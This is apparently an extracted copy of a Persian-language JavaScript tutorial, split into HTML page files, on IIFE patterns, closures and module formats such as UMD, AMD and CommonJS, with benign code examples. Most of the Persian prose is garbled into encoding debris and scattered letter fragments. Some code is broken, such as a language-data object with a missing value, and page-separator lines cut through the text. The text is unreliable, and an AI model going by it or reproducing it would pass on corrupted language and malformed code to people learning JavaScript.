IIFE
· ک¶ ب¶ صورت
Õ
ب
»
¾¶: ¸و
¹Á
د.
Á
م·شو
»²
ج
»
runTime
ید:
É
ک
Ï
اهد
Ð
م
²±
ز
µ
م
²Ó ¶
· ب
±
· جاها کدها
ñÕ
ب
µº» ¿¹È
م
(
function
(
window, document, undefined
) {
//...
})(
window
,
document
);
í
ا
Å
ب¶ آن
»
ر
þ²Ó Ä
ی
Å ´
´ها
³¼
´ ¼ر
²º Ú± ¶
ک
µº» Ï
شد
ê±²Õ¸
IIFE
· ب¶ صورت
Õ
ا ¸اب
ßɱ»
ر
³ »
ر
²±
، کد ز
Ù
ی
º²
ب
Û
¿ ¸اب
±» ¶
د ب
Õ
¼ ب
Ù
ی
É
ک
ç¼²
ش
Û
¿ ¸اب
±» ϳ
ا
º µ
ز حال
»
ید
±
بیا
éà ،Ù±» ϳ»³
د:
±²
ی
Ì
ب
²æÁ
(
function
(
window
) {
//...
})(
window
);
´»²
ان مثال· ک¶ ب
È
اب¶ ه
Ð
ک¶ م
µº» ϳ²
ک
µÓ
ا
±
ر
³ »
ر
window
´³¼
، ¼ر
Û
¸اب
°
ر کد با
³
þ²Ó Ä
ی
Å
object
Ú± Û
´ ¸اب
³¼
¿ ¸فا¼ت ک¶ ¼ر
±»
، با
µº» Ï
شد
ÆÈ
ع
Ù±³
ز
produceCounter
Û
ها´ ¸اب
²¾
م
»
ار
Å ´³¼
ر ¼ر
³ ¶¾Î
ل
» ،³
ر
»³ Ö
ا
Á
window
م·باشد ک¶
µ
پ
±²¹º»¼
وم· جا
È
ها´ ع
²
ز م¾÷ی
»
،Ù±»Ï³²
ک
ϳ
¾فا
º» Ö
ا
Á ¿
ی
È
ز ه
» ÍÕÓ ·
¼ل
Ù
ی
É
ک
ϳ
¾فا
º»
window
´ ب¶ جا´
²Ì±³ Ö
ا
Á Ù
س¾ی
Á»
م·¸و
ی
É
¶ م·ک
Ó
ضا
» Ù
ه
»
ر
document
°
، حا
µº» Ï
د
ÐÁ Ö
ا
ßÁ» ·
¼ ب×رگ
µ
خ
º ³
ا
±
کار ز
ìÅ
(
function
(
window, document
) {
//...
})(
window
,
document
);
Û
ب¶ ¸اب
document
Ö
ا
Á ¶
ب
²Ì±³
global
²¾
م
»
ار
Å Ú±
شدن
ϳ»³ í
ا
Å ،
شد
³
ا
ß±» ¶
¸فا¼¸· ک
éÃ
گ·
³
ا
º ´»²
ا ب
ّ
م
» Ù
ی
É
ک
ϳ
¾فا
º»
document
ب¶ جا´
»
ر
²Ì±³ ·
ام
Á Ù
س¾ی
Á»
م·¸و
Ï
¼بار
³ ¶
م·باشد، ک
.Ù±»Ï³²
ک
ϳ
¾فا
º» Ö
ا
Á
ان
È
ز ه
»
د
Á
ا
È
ا باق· ب
Á»
و
à Ï
د
ɱ
´ آ
»²
ب
Ï
وش¾¶ شد
Á
¶ کد
¹É±» ¼
ا¸· ک¶
Þ
ب¶ ¸وضی
Ñ»
و
º ¿±» ¶
ب
Ąº
ا
Å
ر
³
؟
³
م·شو
Ö
ا
ßÁ» »²
؟ ¼ چ
µ
¿ کار چیس
±» µ±×
ید م
º²
د بپ
±
شا
126
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/129.html ================================================
Û
ب¶ ¸اب
»
د ر
Á³
بو
í²¾º³
ر
³
global
ک¶ ب¶ صورت
object
¼³
، گف¾¶ شد ک¶ ما
Ù
ی
É
م·ک
ç
رجو
Ù±³»³
بد¼ن
Ù
س¾ی
Á»
د ¼ م·¸و
Á³
بو
í²¾º³
ر
³ ×
ی
Á Û
¸اب
ÆÃ»³
ر
³
global
²±³
ا
Ý
¿ م
±» ،Ù±» ϳ»³ í
ا
Å
IIFE
´»¶
مولف
°
با
í
یا
Ý
ها´ با م
Ïܼ²Å ´»²
¼ل· ب
Ù
ی
É
ک
ϳ
¾فا
º» Û
¸اب
ÆÃ»³
ز آنها
» ²±³
ا
Ý
ن آن م
³»³ í
ا
Å
ز
» ²¾Õ±²º ·ÂÞ
ها´ م
²
· ب¶ م¾÷ی
º²¾º³
ید
Á»³·
ور ک¶ م
äÁ
ا
È
، ه
µº» ÙÔ
بسیار م
µ
ع
²º Ö
ا
Á ¶
ب
»²
ج
» µ
ع
²º ³
و
ÎÔ
ب
³²
ر م·گی
»²
ق
²æÁ ³
¶ کدها مور
¹¸ ¿±»
ر
³ ¶
´ ک
»¶¾¹Á ¼
م·باشد
global
ها´
²
م¾÷ی
هید شد.
»
خو
Á ÛÂä
م
µ
ع
²º ı»×Ó» ¿±»
ز
»
ا
È
ش¾¶ باشید ک¶ ش
»³ ¶
¾¶ ¸وج
Î
ل
» ،
م·باشد
IIFE
Û
´ ¸اب
³¼
¼ر
Ö
و
º ²¾
م
»
ار
Å ¶
ک
µº» ¿±» µº» Ï
د
Á
باق· ما
Ï
¶ شد
Ç»
ر
» µ
خس
Á
ز کد
» ¶
´ ک
»¶¾¹Á
؟
µº» Ï
شد
ϳ
¾فا
º» »²
¼ چ
µ
ش
»³ ´²
ی
â
چ¶ ¸ا
undefined ·ÉÕ±
(
function
(
window, document, undefined
) {
//...
})(
window
,
document
);
Ñ
´ مثا
»²
! ب
Ù
ر بدهی
»
د
Ý
م
undefined ´»²
ک¶ ب
Ù
ش¾ی
»³ »
¿ ر
±»
ان
¹
م
» µ
پ
±²¹º
ا
È
ک
»
ز
» 3 ¶
سخ
Á
ر
³
ش
»
د
Á ·Â¹Ð
م
js
²æÁ
ز
» ²±
اب¶ ز
Ð
کار´ م
Ö
ا
ßÁ»
// what is it correct ?!
undefined
=
true
;
ا
É
آش
strict
µ
با حال
Ä
ی
Å Ä
ر بخ
³ ،³
بو
²±
ذ
Å
ان
¹
م
» ·
د ¼ل
º
·ر
ÈÁ ²æÁ ¶
· ب
Î
ا کار جال
Õ
ق
»¼ ¶
ک
²
گ
» ìÅ ،³
· م·شو
É
ی
É
¿ چ
±» ´
کارها
Ö
ا
ßÁ»
ز
» ÛÁ
ما
µ
پ
±²¹º
ا
È
ک
»
ز
» 5 ¶
سخ
Á êä
ک¶ ب¶ ل
Ù±
شد
µº» Ï
ا
ξ
ش
» ¶
د ک
±
م·گو
Ï
د
ÉÉ
¶ ک
±×߸ Ù
هی
³ Ö
ا
ßÁ» ´
ی¿ کار
É
چ
Ù
هی
»
باشد ¼ بخو
Ñ
ا
ÕÓ
strict
µ
حال
هد.
³·
ا م
äà ¼
Û
ی× ب¶ ¸اب
Á undefined
ر
»
د
Ý
م
Ú± ·É
ی
É
¿ چ
±»
اهات
ξ
ش
» ²
ب
»²
ر ب
³ ³
و
à ´
ز کدها
» µæÓ
ا
Þ
´ م
»²
ما ب
²±
ا
º óº
¸و
µº» ¿¹È
اها¸· ک¶ م
ξ
ش
» ç
ز ¼قو
» ³
و
Ã
IIFE
Û
¸اب
ÆÃ»³
ر
³
¸ا
Ù
هی
³·
م
í
ا
Å ³
و
Ã
. مثا
Ù
ی
É
´ ک
²
وگی
Â
بدهد ج
ý
¶ ر
Þ
ر صف
³ Ï
ر´ شد
»
پ¾· بارگذ
±²¹º»¼
ها´ جا
Ʊ
ا
Ó
undefined
=
true
;
(
function
(
window, document, undefined
) {
// undefined is a local undefined variable
})(
window
,
document
);
127
Ϳָ ØÉ³
================================================ FILE: HTML/13.html ================================================
136
......................................................................................
)modules
(
ا
ÈÛÀä
ما
138
.........................................................................................
private
Ú
تو´ب
Ô
در
139
....................................................................................
ÛÀä
ما
publicAPI
Ô
در
140
.....................................................................
publicAPI
¾´²
ب
return
ا¾
ÈÓÇ
س
142
...............................................................................
ÛÀä
ما
²±
ا¾ د´ر´¾ ز
ÈÛÀä
ما
144
............................................................................
ه
¹º
ا¾ ساز
ÈÛÀä
م¶ ما
²· Ö´
و
º´
144
...................................................
)Asynchronous Module Definition )AMD
145
..............................................................................................
CommonJS
145
......................................................................
Universal Module Definition
146
......................................................................................
ES6
در
ÛÀä
م¶ ما
²·
148
.................................................................................
ÛÀä
ا¾ ما
È
ه
¹ÑÑ
¶ ک
±²±¹
م
148
...................................................
¹È
مید
Ä
ا
غ´ ÛÀä
ه ما
¹ÑÑ
¶ ک
±²±¹
م
Ó± Á
´مور¾ ک
148
.................................................................
ÛÀä
ا¾ ما
È
ه
¹ÑÑ
¶ ک
±²±¹
¼ م
±²
ت
ÙÀ²
مع
149
.............................................................................................
ÛÀä
ما
bundler
³
بخش ¶´ت
[
µ
د
²
یریت د
¹
و م
Æ
ساز
µ
ر
Ã
ذخ
152
......................................................................................
´ر در کوکی
¹
ه مق
²½Éå
152
..................................................................................
ا
È
کوکی
²±
¶ مقاد
±²±¹
م
153
..................................................................................................
کوکی
Ù
حذ
153
.............................................................................................
ا
È
½¶ کوکی
Ñ
´م
154
.................................................................
)
Web storage API( ÃÀ Á
حا·ظ
à
ر´ب
154
................................................
کوکی
À localStorage ، sessionStorage ÊÀ
تفا
155
...........................................................................
)
localStorage
(
ی
ÐÕ
م
Á
حا·ظ
156
....................................................................
)
sessionStorage(
ی
ÐÕ
¶ م
ËϺ
156
.........................................................................................................
Blob
================================================ FILE: HTML/130.html ================================================
ش
»³ Ù
هی
»
و
à »
ر
undefined ð
ی
Þ
ر ص
»
د
Ý
ز م
» ϳ
¾فا
º»
ان
¹
م
» ³
و
à Û
ر ¸اب
³
¿ کار ما
±»
با
[
IIFE Ʋ
ر
³ Þ
خا
Æ
¿ر¸ا
Ȳ¼
ا
È
ز
² µ
اد
Ö¿
س
²
²¾Á»²Å Ú± ¼
باز
²¾Á»
ار
Å Ú± ÆÃ»³ µ
س
±
م·با
»
ر
Ï
شد
ê±²Õ¸
IIFE
Û
شد، ¸اب
Ï
شار
» ¶
ور ک
äÁ
ا
È
ه
:²±
کد ز
Ñ
´ مثا
»²
هد؟ ب
³·
م
ý
¸فاق· ر
» ¶
چ
Ù
ی
ɹÁ »
¿ کار ر
±» ²
گ
» ·
¼ل
Ù
هی
³
ر
»²
بس¾¶ ق
function
() {
console
.log(
“run! “
);
}();
// SyntaxError: function statement requires a name
س¾د،
±»·
ز کار م
» ¶
ام
Á²
¼ ب
³
م·شو
ö
چا
Ï
شد
²
ک
è ´
ا
äà ¶
ک
Ù
ی
É
م·ک
Ï
اهد
Ð
م
ø
و
Ó
ن کد
³²
ک
»²
ج
»
با
·Ó
ضا
» ´
¾×ها
Á»
ار
Å
ن
³²
ک
Ò
ر
³
ک¶ بد¼ن
³
ر
»³ ³
ار´ ¼جو
¹
ه
»
ا ر
±
ک¶ آ
µº» ¿±»
د
±
م·آ
Ä
ی
Å ¶
ل· ک
»
و
º
Ù
دهی
Á µÎ
س
Á Ö
ا
Á ³
و
à ²æÁ ³
مور
Û
¼ ب¶ ¸اب
Ù
ی
É
¸ولید ک
IIFE
ارت
Î
ع
Û
ا´ ¸اب
Ô¾Á» ¼ »
ب¾د
»
ر
³
ز
» ÆÎ
´ کد ¼ ق
»
ب¾د
»
ر
³ !Ú± Ò
ر
³
با
Ù
ی
Á»
¿ کار م·¸و
±» Ö
ا
ßÁ» ´»²
. ب
µº» ¶Â
، ب
Ñ»
و
º ¿±» Ąº
ا
Å
ب¶ صورت:
Ù
ی
É
ک
»²
ج
» »
کد ر
function
// no needs to (...)
!
function
() {
console
.log(
“run!“
);
}();
// console: “run!”
¿ کار
±» ¶
اب
Ð
ن م
»
، م·¸و
µº» ϳ»³ ´
جا
³
و
Ã
ر
³ »
اص· ر
à é
جال
³
ر
»
مو
µ
پ
±²¹º»¼
· ک¶ جا
±
ا
ßÁ
ز آ
»
د
Õ
¶ کد ب
¹¸
ر
³ »
ر
³
ر
»
¿ مو
±»
ز
» ·±
ها
Ñ
. مثا
³»³ Ö
ا
ßÁ» Û
´ ¸اب
»
ب¾د
»
ر
³ ×
ی
Á
-
ا
± + , ~
ن
³²
ک
Ò
ر
³
با
»
ر
ی
É
بیان م·ک
128
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/131.html ================================================
-
function
() {
console
.log(
“run with - “
);
}();
+
function
() {
console
.log(
“run with + “
);
}();
~
function
() {
console
.log(
“run with ~ “
);
}();
د.
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
²¾È
د ¼ل· ک
ɾ
هس
ϳ
¾فا
º» Æ
ی× قاب
Á ³
ر
»
¿ مو
±»
[
IIFE »²¼
½با
À³²¶Á Ƽ²ÎÏß
·ا
Ö
ا
Á
بد¼ن
»²
کث
» ¼ ³
ر
»
د
Á ³
¼جو
IIFE
Û
ب
»
´ ¸و
»²
ب
Ö
ا
Á Ò
ر
³ ¶
د ل×¼م· ب
±» Ï
ور ک¶ م¾وج¶ شد
äÁ
ا
È
ه
، مثا
³²
¾خا½ ک
Á» ×
ی
Á Ö
ا
Á ³
و
à Û
´ ¸اب
»²
ن ب
»
د، ¼ل· م·¸و
Á
م·شو
ϳ
¾فا
º»
(
function
add
(
start
){
var
sum = start +
50
;
console
.log(sum);
// console: 60
})(
10
);
ÆÃ»³
ر
³ óÝÓ ¼ µ
یس
Á í²¾º³ Æ
قاب
IIFE
³
و
Ã
ز
» Ò
ار
à ¶
¼ج
å
ب¶ هی
Ö
ا
Á ¿±» ³
د ¸وج¶ شو
±
¾¶ با
Î
ل
»
»
ک¶ ب¶ صد
»
ر
IIFE
¾· ب¶ صورت
Ð
بازگ
Û
ب
»
د ¸و
ÉÁ
· ما
±
ها
³²
، کارب
³²
ک
ϳ
¾فا
º»
ز آن
»
ن
»
م·¸و
Û
¸اب
³
و
Ã
، مثا
Ù
ی
É
م·ک
»²
ج
» µ
¿ حال
±»
، با
Ù±
ر
»³
یاز
Á
¶ آن
Á
بد
ÆÃ»³
ر
³ Û
ن ¸اب
³
ز
129
Ϳָ ØÉ³
================================================ FILE: HTML/132.html ================================================
(
function
add
(
start
){
var
sum = start +
50
;
if
(sum <
100
){
// call sum function again
add
(sum);
}
else
{
console
.log(sum);
// console: 110
}
})(
10
);
[
IIFE
ا
³ Õ¼¶
س
Æ
ساز
Í×
ح
ÍÈ
د:
ÉÁ
· ما
±
ها
µ±×
د، م
±» Ï
ا شد
É
ا آش
ßɱ» ¶
¸ا ب
IIFE
ت
»
ار
Î
ا´ ع
±»×
ز م
» ·Ã²
با ب
±
À
خ
Ð
م
scope
ر
³
ها
²
شدن م¾÷ی
ê±²Õ¸
±
وم·
È
ها´ ع
²
· ب¶ م¾÷ی
º²¾º³
ر
³ µ
ع
²º ³
و
ÎÔ
ب
±
strict
µ
با حال
Ï
د
ÐÁ µ±²±
اها´ مد
äÃ
ز
» ´²
وگی
Â
ج
±
...¼
¼ í
ور
º ´
از
º Ùß
ح
Ù
ر ک
³
آن
µÎ
مث
²
ی
â
¸ا
IIFE
و½
à ´
ژگ·ها
±¼
ز
» ·¹± ،³
ر
»
¿ مو
±»
ز
» »
جد
م·باشد.
³²
کارب
²Å
ت
»
ار
Î
· ع
ɱ×̱
جا
window ,
د:
ÉÁ
· ما
Á°
ها´ طو
object
¿±¼
ا
É
ز ع
» ´³
ا
±
ز
ϳ
¾فا
º» ،í
ور
º Ú±
ر
³
ید
É
ور ک
à¸
²
ان ¸÷یی
¹
م
» ،
ها
²
¿ م¾÷ی
±» ·
وم
È
ع
scope
ز
» ϳ
¾فا
º» µ
ر حال
³ ،Ù±
ر
»³ … ¼
document , jQuery
Ù
ی
Á»
شد ¼ م·¸و
ϳ
ز
IIFE
´»²
ب
ÆÎ
ات ق
Þ
ر صف
³ ¶
اشد، ¼ل· با مثال· ک
ÎÁ ϳ
ا
º µº» ¿¹È
آنها م
Ö
ا
Á
´»²
ج
»
µ
ع
²º
ر
³ Ù
ک¶ گف¾ی
Ñ
ا
ݾÁ» ¿±»
ر
³ ،Ù
ی
É
ک
ÆÝ¾É
· م
ÂÞ
م
scope
ب¶
»
وم· ر
È
ها´ ع
²
م¾÷ی
، بس¾¶ ب¶
²¸ Ï
ن کو¸ا
»
و
É
ع
Ú±
¼ با
ϳ²
ک
þ
عو
»
ر
²
م¾÷ی
Ö
ا
Á Ù
ی
Á»
، م·¸و
³
ر
»³ µÎ
مث
²
ی
â
ی× ¸ا
Á ¶
ام
Á²
ب
µÎ
مث
²
ی
â
¸ا
í
ور
º Ùß
ح
Ä
ر کاه
³ ،
IIFE
´»²
ب
³
موجو
scope
ر
³ ²
ز آن م¾÷ی
» ϳ
¾فا
º» ³»
د
Õ¸
ی
É
م·ک
Ï
اهد
Ð
د م
Õ
¶ کد ب
¹¸
ر
³ »
از´ ر
º Ùß
ح
Ù
¿ ک
±»
ز
» ·
. مثال
Ù
ش¾¶ باشی
»
گذ
130
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/133.html ================================================
(
function
(
window, document, undefined
) {
console
.log(
window
);
// Object window
})(
window
,
document
);
// minified
(
function
(
a, b, c
) {
console
.log(a);
// Object window
})(
window
,
document
);
ر
³ Ö
ا
Á ²
م· باشد ک¶ با ¸÷یی
window
ب¶
Ê
بو
²
م
object
ان
È
ه
a
²
م¾÷ی
Ï
شد
Ùß
ح
Ù
¶ کد ک
¹¸
ر
³
Û
¸اب
scope
ÆÃ»³
ر
³
object
¿±»
ز
» ´³
ا
±
ز
ϳ
¾فا
º» ³»
د
Õ¸ ²
گ
» ¼ µº» ϳ
بو
Ï»²È
ه
²¾
م
»
ار
Å ¿¾Ó²
گ
Ú
¸وما¸ی
»
¿ کار ب¶ صورت
±»( .Ù
هی
³ Ä
´ کاه
³
ا
±
¸ا حد ز
»
ر
Ï
وش¾¶ شد
Á
کد
Ùß
ح
Ù
ی
Á»
م·¸و
Ù
ش¾ی
»³
.)³
م·شو
Ö
ا
ßÁ»
UglifyJS
د
ÉÁ
· ما
±
¶ها
Á
ر ک¾ابخا
³
²Ì±³ ´»¶Á
ک¾ابخا
óº
وم· ¸و
È
ع
scope
ر
³ ²
م¾÷ی
Ö
ا
Á Ú± µº» ¿¹È
´ ک¶ م
²Ì±³ ´
ها
µ
ر حال
³
²æÁ ³
مور
²
ن م¾÷ی
»
و
É
ز ع
» Ú
ی
ɹ¸ ¿
ی
È
با ه
Û
· ¸اب
ÂÞ
م
scope
´»²
ب
Ù
ی
Á»
باشد، م·¸و
Ï
شد
Ñ
ش÷ا
»
´ م·باشد.
²Ç
¶ ج· کو
Á
´ ک¾ابخا
»²
ب
$ ²¾
ک
»
¶ کار
É
¿ زمی
±»
ر
³ ³
ور موجو
ÔÐ
م
Ñ
، مثا
Ù
ی
É
ک
ϳ
¾فا
º»
scope
ر
³ ¼
د
É
کار م·ک
$ ²¾
ک
»
ر¼´ کار
²
´ ب
²Ç
د ج· کو
ÉÁ
ک¶ ما
Ù±» ϳ²
´ ب¶ کار ب
»¶Á
ید ک¾ابخا
É
ک
þ²Ó
ن ب¶ صورت
»
م·¸و
ó±»²
¿ ش
±»
ر
³ ،³
ز
»
د
Á»·
م
ϲ
ب¶ مخاط
»
وش¾¿ ما ر
Á
یا¸· کد
ÂÈ
اب¶ ع
и ¿±» ·
وم
È
ع
:³²
ک
ÆÈ
ع
²±
ز
(
function
(
$, window
) {
// use $ to refer to jQuery
// $(document).addClass(‘test’);
})(jQuery,
window
);
د.
É
م·ک
Ï
شار
»
jQuery
ک¶ ب¶
Ù
ی
É
ک
ϳ
¾فا
º» $
ز
» ³
و
à Û
¶ ¸اب
Á
ر بد
³ Ù
ی
Á»
¿ صورت ما م·¸و
±» ¶
ب
[
ر
ϼ
ر مرو
Ãà Æ
¸ا
Üú
م
، ب¶
Ù
هی
³·
ر م
»²
ق
²æÁ
مد
»
، ر
²
¼رگ
²
ز م
» Ò
ار
à ´
ها
ó
ی
Þ
م
IIFE
îÞÎ
´ م
»²
ب
²Ã
¾¶ آ
¹Á
ن
»
و
É
ب¶ ع
ما
ϳ
¾فا
º» ³
وم· مور
È
ع
object
²
¼رگ
²
م
Ï
ر
»
و
È
ه
nodejs
د
ÉÁ
· ما
±
رها
»×
ب
»
ز
» ϳ
¾فا
º» µÓ²Ð
ی
Å êä
ل
131
Ϳָ ØÉ³
================================================ FILE: HTML/134.html ================================================
ش¾¶ باشد،
»³ ð
ی
Þ
ص
³²
کارک
ê¾
ها´ مخ
ó
ی
Þ
ر م
³ ¶
ک
Ù
باشی
ϳ²
کد´ ¸ولید ک
Ù
هی
»
بخو
²
گ
» ¼ µ
یس
Á
ز
»
د
É
بی
Ä
ب¶ چال
»
ما ر
µº» ¿¹È
م
ç
ی¿ موضو
È
ه
³
مور
Ö
ا
Á
با
»
ر
this
²¾
م
»
ار
Å Ù
ی
Á»
م·¸و
IIFE
ز
» ϳ
¾فا
º»
ک¶ با
µº» ¿±»
¼ کارآمد
ϳ
ا
º
ار بسیار
¹
ه
»
ر
Ú±
ی
É
ک
ë±
¸×ر
³
و
à ¶
ام
Á²
ب¶ کدها´ ب
²æÁ
(
function
(
root
) {
// code
})(
this
);
د، ما
É
م·ک
Ï
شار
»
window
ب¶
Ê
بو
²
م
object
ب¶
ðäº ¿±²¸·Á¼²
ر بی
³
this
²
¼رگ
²
ر م
³
چون
ز
» Ò
ار
à ´
ها
ó
ی
Þ
ر م
³ ¼ Ù±»Ï³²
ک
ë±
¸×ر
³
و
à ´
ب¶ کدها
root
Ùº»
´ با
²¾Ô
ب
Ö
ا
Á Ú±
با
»
ر
window
²
با م¾÷ی
Ù
ی
Á»
¼ م·¸و
Ù
ی
É
کار ک
³
ر
»
د
Á ³
ک¶ ¼جو
window
Ùº» ¶
´ ب
²
با م¾÷ی
µ
یس
Á Ö
ز
° ×
ی
Á ²
¼رگ
²
م
هی
³ Ö
ا
ßÁ» »
ر
³
و
à ´
کارها
root
ها´
Ïܼ²Å ²
کث
»
ر
³ °
ا
Ⱦ
ح
» ¶
ک
³²
¸ولید ک
²±
ز
Ö²Ó ¶
ا ب
α
¶ کد بسیار ز
¹¸ Ú±
ن
»
م·¸و
é
¸ی
²¸ ¿±» ¶
ب
د:
±» ϳ²
ک
Ï
اهد
Ð
م
ò¼²Õ
ا م
±
م¾¿ باز
(
function
(
root, factory
) {
if
(
typeof
define ===
‘function’
&& define.amd) {
define(Factory);
}
else if
(
typeof
exports ===
‘object’
) {
module
.exports = factory;
}
else
{
root.MYMODULE = factory();
}
})(
this
,
function
() {
// Code goes here
});
´²
س
¹± ·
¼ ط
²Ì±³ ·Õ
¸اب
óº
¸و
Ù
سی
±
و
Á·
· ک¶ م
Õ
، ¸اب
µº» Ï
وش¾¶ شد
Á ´»¶Ó²
ا ح
Õ
ق
»¼
¶ کد
¹¸ ¿±»
هد.
³·
¶ م
Ç»
ر
» ·±»²
ج
» ó
ی
Þ
م
í
ا
º»²
ب
»
ما ر
²æÁ ³
¼ج· مور
²Ã ¼ ³
· م·شو
Á»
و
û²Ó Ë
ا
à 󱻲
ش
root.MYMODULE = factory
Ä
بخ
³
شو
»²
ج
» ²
¼رگ
²
م
ó
ی
Þ
ر م
³ ²
گ
» ،¶
¿ صورت ک
±» ¶
ب
ز
»
nodejs
د
ÉÁ
· ما
ä
ی
Þ
ر صور¸· ک¶ م
³ ،³
م·شو
ê±²Õ¸
ما
²æÁ ³
مور
ѼÜ
¼ ما
³
م·شو
»²
ج
»
132
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/135.html ================================================
Û
باشد ¸اب
Ï
شد
ϳ
¾فا
º»
requireJS
ر صور¸· ک¶
³ ¼
هد شد
»
و
à ϳ
¾فا
º»
module.export
م·شو
»²
ج
»
ما
Û
´ ¸اب
»²
ب
define
اها´
äà ¶
ک
³
م·شو
ϳ»³ ¶Õº
¸و
ê¾
ها´ مخ
ó
ی
Þ
ر م
³ ³²
´ کارب
»²
ب
Ùß
س
É
کد م
Ú± Úκ ¿±»
با
ش
»³
هد
»
خو
Á »
ر
Ï
د
ÐÁ ê±²Õ¸ ´
ها
object
´»²
ب
Reference
[
¸ا
Closure
دگان
É
ه
³ ¶Õº
¸و
óº
¸و
²¾È
د ک¶ ک
ɾ
هس
µ
پ
±²¹º»¼
ز زبان جا
» ·Ð
بخ
)
closures
(
بس¾¶ها
´»²
ی× ب
Á Ä
¿ بخ
±» ´²
گی
³
ا
± °
ا
Ⱦ
ح
» .
د
ɾ
´ هس
³²
¼ کارب
ϳ
ا
º
¶ بسیار
¹
ر حالی
³ ،
د
Á»Ï
¾¶ شد
Ã
ا
É
ش
ϳ²
¶ ک
Õ
ال
ä
وب· م
à ¶
ب
»
ها ر
scope
ب¶
Ê
بو
²
ها´ م
Ä
بخ
²
گ
» ¶¾Î
ل
» ،³
هد بو
»
و
à ϳ
ا
º
ا بسیار
È
ش
باشید.
µº» ²¾Ô
د ب
±
د، شا
±»Ï³²¹Á ϳ
¾فا
º»
ها
closure
ز
» Ñ
ا
Þ
ا هس¾ید ¼ل· ¸ا ب
É
آش
µ
پ
±²¹º»¼
با جا
²
گ
»
³
و
à ´
ر کدها
³ »
ها ر
closure
د
±
ز
»
د
É
اه· بی
ÌÁ ³
و
à ¶¾
وش
Á ´
ب¶ کدها
Ä
¿ بخ
±» ¶Õ
ال
ä
ز م
» ìÅ ¶
ک
ید
É
ک
µ
ق
³ ·È
¸ا ک
µ
یس
Ó
کا
óÝÓ
د
ɾ
ا هس
È
ش
ò»²
ط
»
ر
³ Í
ها کام
closure
Û
ق
»¼
ر
³ .
ید
É
ک
Ï
اهد
Ð
م
د؟
±»Ï³²
ک
ϳ
¾فا
º» Û
ب
»
ز ¸و
» ،
ید
É
ی
Î
ب
»
¼ آنها ر
ور
ภòÍò
د. ح¾· ب
±²
ی
Ì
ب
³
ا
±
هید
»
د ک¶ بخو
ɾ
یس
Á ´
د
±
ا کدها´ جد
±
د
±
رها´ جد
»×
ب
»
ها
closure
ید، "م¿
±
¸ان م·گو
³
و
à ¶
´ آن ب
²
گی
³
ا
±
ز
»
د
Õ
ب
°
ا
Ⱦ
ح
» ¼
د
ɾ
یس
Á ×
ی
Á ò
´ مخو
»¶Â
مسئ
Ú±
·ها
ñÕ
ب
."Ö³²
م·ک
ϳ
¾فا
º» ³
¿ مور
±»
ز
» ¶
ک
»
ر
closure
»
ب¾د
»
ر
³ ،¶
بوط
²
م
ÆÇ
کد ¼ مسا
Ć»²º Ù±¼²
ب
µº» ²¾Ô
ب
Ï
¶ شد
Ç»
ر
»
ات
Þ
ز ¸وضی
»
د
Õ
ب
scope
ÆÃ»³ ´
ها
²
ز م¾÷ی
» ϳ
¾فا
º» ¼ ´
پار
º ²
اط
à ¶
· ب
±
ا
Á»
¸و
Û
¸اب
Ú± ¶
· ک
Á
: زما
Ù
ی
É
م·ک
ê±²Õ¸
ر
»³
closure
ش¾¶ باشد،
»³ »
ر
³
و
à ·±°
با
µ
ق
³ Ù
هی
³·
م
ð
د´ ک¶ ¸وضی
Õ
ب
Ñ
د مثا
É
د ب¶ چ
±» Ï
د
ÐÁ Ö
و
Ô
م¾وج¶ مف
²
گ
» ·
¼ل
µ
س
±»Ï³
ا
º ê±²Õ¸
ید.
É
ک
ل:
Å·
ثال
³
²¾Ô
¼ ب
µº» ϳ
ا
º
بسیار
Ñ
¿ مثا
±» ¶¾Î
ل
»( Ù
سی
±
و
É
· ب
Á
د زبا
É
چ
Ù¾
یس
º Ú± Ù
هی
»
و
÷
ید م
É
ک
þ²Ó
global
´²
ر م¾÷ی
³
ب¶ ل÷ات
Ê
بو
²
عات م
Í
ط
» ¼ )³
و
ÐÁ ¶¾Ó²
و گ
Ì
ل
»
ز آن
» Ñ
و
àÞ
´ ¸ولید م
»²
ب
槯
³
و
Ã
languageData
وم·
È
ع
²
ی¿ م¾÷ی
È
¾¶ ه
Î
ل
»( ،µº» ¶¾Ó²
ر گ
»²
ق
languagesData
Ùº» ¶
ب
Ù
ی
Á»
م·¸و
closure
ز
» ϳ
¾فا
º»
با
)Ù±
م·شو
³
ر
á
ار
É
ز ک
» ÍÕÓ ¶
ک
µº» ¶
ام
Á²
ر م¾دها´ ب
³
closure
Ï
د
Ô
ع
²
ب
»
ر
ê¾
´ زبانها´ مخ
»²
ب
Ù
ج
²¾
ک¶ ¼ظیف¶ ¸ولید م
Ù±
بساز
createTranslator
Ùº» ¶
· ب
Õ
¸اب
133
Ϳָ ØÉ³
================================================ FILE: HTML/136.html ================================================
هد.
³ Ʊ
و
Þ¸
ب¶ ما
»
یاز ر
Á ³
مور
Û
¸ا ¸اب
³²
ی
Ì
می
lang
´³¼
¼ر
Ú± ¼ ³
ر
»³
یس· ¸ولید
ÂÌÁ» ¼ ·º
ار
Ó ´
´ زبانها
»²
ب
Ù
ج
²¾
¼ م
³ "fa"، "en" ²±³
ا
Ý
¿ م¾د با م
±» ·Á»
و
û²Ó
با
ها´
Ä
¶ بخ
È
ج
²¸ ´»²
ز آنها ب
» ¼ ¶¾
خ
±
ر
Ù
ج
²¾
م
²
ه
Ë
و
à
ها´ مخ
²
ر م¾÷ی
³ »
آنها ر
ì
پ
º ،Ù
ی
É
م·ک
شد
ϳ»³ ð
. کد ¸وضی
Ù
ی
É
م·ک
ϳ
¾فا
º» ²æÁ ³
مور
// Languages string data object
var
languagesData = {
“en”
: {
“hi”
:
“Hello”
},
“fa”
: {
“hi”
:
},
};
// function that we use to create translator
function
createTranslator
(
lang
) {
function
translator
(
key
) {
return
languagesData[lang][key];
}
return
translator;
}
ê±²Õ¸ ´
´ زبانها
»²
ب
Ë
ا
à ´
ها
Ù
ج
²¾
¸ا م
µ
وش
Á
ن
»
م·¸و
»
ر
²±
ی× کد ز
Á Û
¿ ¸اب
±»
ز
» ϳ
¾فا
º» ´»²
ب
هد:
³ ¶Ç»
ر
» »
ر
Ï
شد
var
persianTranslator = createTranslator(
“fa”
);
var
englishTranslator = createTranslator(
“en”
);
persianTranslator(
“hi”
);
//
englishTranslator(
“hi”
);
// Hello
»
